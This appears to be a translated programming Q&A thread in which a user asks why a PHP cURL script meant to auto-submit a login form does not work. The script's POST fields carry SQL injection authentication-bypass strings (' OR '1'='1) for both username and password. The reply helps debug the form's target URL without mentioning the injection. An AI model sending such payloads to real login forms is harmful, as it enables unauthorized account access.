0

我只是想通过 php 和 cURL 自动登录到登录表单

我有:

<?php
# get url to form
$url = "http://thesite.com/login.php";
$ch = curl_init($url); # initialize that form

#run value of $_POST variable in form fields from above url.
$params = "username='' OR '1'='1&password='' OR '1'='1&login-php-submit-button=submit";

## set cURL options
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);  #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
$response = curl_exec($ch);

    if (!$response) {
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch); // make sure we closeany current curl sessions
        die(stripslashes($http_code.' Can\'t connect to server.'));
    }

//curl_close($ch); // close curl session 


## echo the result from cURL 'ing
echo $response;

curl_close($ch);
?>

当我访问此脚本时,它只显示$url我刚刚访问 URL 的值,它不显示任何错误消息,如“错误传递”或任何内容。

我觉得$params这里可能设置不正确。我一直在不懈地尝试让它发挥作用。我目前有它的设置,其中$params值的设置是:

formnameofinputvalue = valueToInputIntoFormElement&

其中&分隔每个 formInputName=formInputValue

有人看到我在这里做错了吗?谢谢你。

4

1 回答 1

1

Does the login.php script submit the values to another URL? Check the source for the login.php page and see if the form is submitting to another URL (action= in the form element). If so, you will want to use that URL instead since that is where the values are being submitted. The login.php is only the form to collect the values.

On the other hand, login.php might submit to itself, in which case you have the right URL.

于 2013-01-02T02:11:35.123 回答